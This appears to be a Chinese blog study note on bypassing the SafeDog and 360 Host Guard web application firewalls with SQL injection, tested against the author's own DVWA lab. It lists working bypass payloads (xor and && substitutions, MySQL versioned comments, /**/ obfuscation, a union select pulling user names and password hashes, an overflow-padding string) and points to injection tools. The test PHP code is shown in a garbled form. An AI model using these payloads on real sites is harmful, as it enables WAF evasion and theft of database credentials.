「經驗總結」SQL注入Bypass安全狗360主機衛士

0x00 前言

這類的文章已經是比較多了,本文也主要是作為學習筆記來記錄,主要是記錄一下我在學習 SQL 注入 Bypass 的過程,同時前人的不少繞過方法已經失效了,所以這裡也是記錄一下最新規則的一些繞過方法。

0x01 環境搭建

測試環境:Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45

測試代碼:

<code> '.mysql_error().'/<code>
'); while($row = mysql_fetch_array($result)) {  echo $row['0'] . " " . $row['1'];  echo "
"; } echo "
"; echo $query; mysql_close($con); ?>

上面的測試代碼是參考安全客上的一篇文章,不過為了方便測試在原代碼的基礎上加入了 POST 傳參功能,代碼來自本文參考文章第 2 篇。

為方便接下來的測試,需要本地先安裝 dvwa ,至於代碼中其他的參數,比如數據庫地址、用戶名、密碼什麼的自行根據自己本地配置情況修改即可。

如果這個代碼在使用的過程中,只使用 POST 方法傳參的話,頁面是會輸出錯誤信息的,如果不想讓它輸出錯誤信息,可以在 php.ini 文件中修改 display_errors 為 Off ,然後重啟 Apache 即可。

訪問本地搭建的靶場地址,像下面這個樣子就算是搭建成功了,其中 192.168.38.132​ 需要修改為你自己的靶機 IP 地址。

<code> http://192.168.38.132/sql.php?id=1/<code>
「經驗總結」SQL注入Bypass安全狗360主機衛士

0x02 安全狗

1、搭建

下載地址:http://free.safedog.cn/website_safedog.html

我下載的是 Windows Apache V4.0 的版本,2019-11-27 更新的規則。

在安裝安全狗的時候,如果不知道服務名填什麼,可以查看本文參考文章第 5 篇。

如果使用 phpstudy 8.0 及更高版本可能在系統服務中找不到 apache 的服務名,所以這時建議使用 8.0 以下版本,比如 phpstudy 2018,之後再設置運行模式為“系統服務”即可,不要問我怎麼知道的 [狗頭]

搭建好後,我們構造 SQL 注入語句判斷注入點,訪問目標網站,網站有安全狗的提示,說明就搭建好了。

<code> http://192.168.38.132/sql.php?id=1' and '1'='1/<code>
「經驗總結」SQL注入Bypass安全狗360主機衛士

2、找尋繞過方法

<code> ' and '1'='1/<code>

多次測試發現單引號不會被攔截,and 也不會被攔截,只有當 and 後加上字符,比如 and '1' 的時候才會被攔截,所以接下來就主要針對 and 進行繞過測試。

一般情況下,如果 and 被攔截,可以下列字符進行繞過。

<code> +,-,*,%,/,<>,||,|,&,&&/<code>

或者使用 or 進行繞過,也可以直接使用異或進行繞過。

<code> ^,xor/<code>

因為我下載的版本的規則是最新的,所以參考文章中利用 && 替換 and 的方法已經失效了,經過多次測試,這裡使用異或是可以繞過安全狗進而判斷注入點的。

<code> ' xor '1/<code>
「經驗總結」SQL注入Bypass安全狗360主機衛士

接下來使用 union select 查看一下數據庫名和用戶名。

<code> 'union select database(),user()'/<code>

直接這樣肯定會被攔截的,所以接下來找尋繞過方法。

a、利用()代替空格

<code>'union select(database()),(user())'/<code>

數據或者函數週圍可以無限嵌套()。

b、利用 mysql 特性 /!/ 執行語句

<code>'union /*!50010select*/(database()),(user())'/<code>

/!/ 中間的代碼是可以執行的,其中 50010 為 mysql 版本號,只要 mysql 大於這個版本就會執行裡面的代碼。

c、利用/**/混淆代碼

<code>'union/**//*!50010select*/(database/**/()),(user/**/())'/<code>

mysql 關鍵字中是不能插入 /**/ 的,即 se/**/lect 是會報錯的,但是函數名和括號之間是可以加上 /**/ 的,像 database/**/() 這樣的代碼是可以執行的。

事實上,由於我的防護規則是 2019-11-27 更新的,所以即使如此,依舊不能繞過,不過由於安全狗對於 GET 的過濾相較於 POST 更為嚴格,所以後來經過測試發現使用 POST 方法是可以進行繞過的。

「經驗總結」SQL注入Bypass安全狗360主機衛士

可以看到使用 POST 方法是可以成功繞過,除了上面的3個方法,有時候使用 %00 也會有意想不到的效果。

知道了繞過方法,便可以一路找到用戶名和密碼。

<code>'union select user,password from users#/<code>

經過測試,發現在 POST 方法下,加個括號即可繞過安全狗,這也足以看出安全狗對於 POST 方法的過濾是多麼不嚴格。

<code>'union select user,password from (users)#/<code>
「經驗總結」SQL注入Bypass安全狗360主機衛士

繞過的方法還有很多,安全狗的就記錄到這裡,接下來看看 360 主機衛士。

0x03 360 主機衛士

1、搭建

曾經 360 出現過一款 360 主機衛士,不過現在已經停止更新和維護了,官網也打不開了,所以只能在第三方網站下載了,這裡我下載的是 2.0.5.9 版本。

下載地址:http://www.pc6.com/softview/SoftView_145230.html

雖然 360 主機衛士已經停止了更新,但是拿來練練手還是可以滴。

下載之後,訪問 ' and '1'='1 如果發現被攔截了,返回內容像下面這個樣子,說明就搭建成功了。

「經驗總結」SQL注入Bypass安全狗360主機衛士

2、找尋繞過方法

<code>' and '1'='1/<code>

經過多次測試,這裡使用 && 即可繞過,使用異或也是可以繞過的。

「經驗總結」SQL注入Bypass安全狗360主機衛士

接下來看看 union select 怎麼進行繞過。

<code>'union select database(),user()'/<code>

經過多次測試,發現可以通過緩衝區溢出進行繞過,但也只有在 POST 方法下才有效。

<code>' and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)union select database(),user()'/<code>
「經驗總結」SQL注入Bypass安全狗360主機衛士

0x04 工具

提到 SQL 注入的工具,個人覺著就不得不提 shack2 的超級 SQL 注入工具,針對於上面緩衝區繞過的情況,使用這個工具可以很方便的進行 SQL 注入。

工具下載地址:https://github.com/shack2/SuperSQLInjectionV1/releases

「經驗總結」SQL注入Bypass安全狗360主機衛士

把 Burp 中的數據包複製到工具中,在注入標記、編碼標記後,就可以獲取數據了,對於如何標記注入點不理解的可以看看這個工具的教學視頻以及文檔,會容易理解些。

「經驗總結」SQL注入Bypass安全狗360主機衛士

至於其他更為複雜的繞過,比如上面安全狗的繞過,利用這個工具的注入繞過模塊也是可以的,當然使用 sqlmap 的 tamper 腳本也是 OK 的,暫時本文就先記錄到這裡。


分享到:


相關文章: